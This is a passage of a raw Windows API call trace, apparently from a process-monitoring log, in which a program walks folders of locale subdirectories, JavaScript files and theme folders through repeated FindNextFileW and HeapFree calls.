cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.041] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.042] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.042] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.042] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.042] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.042] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.043] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.043] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.043] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.043] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.043] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.044] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.044] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.044] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.045] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.045] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.045] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.046] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.046] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.046] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.047] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.047] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.047] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.047] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0190.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.048] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x52dfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0190.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.048] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0190.048] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0190.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0190.050] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pages-app", cAlternateFileName="PAGES-~1")) returned 1 [0190.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.051] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0190.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.054] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0190.054] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0190.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.054] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0190.054] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0190.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.054] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.055] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.055] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.056] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.056] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.056] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.057] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.057] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.057] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.058] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.058] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 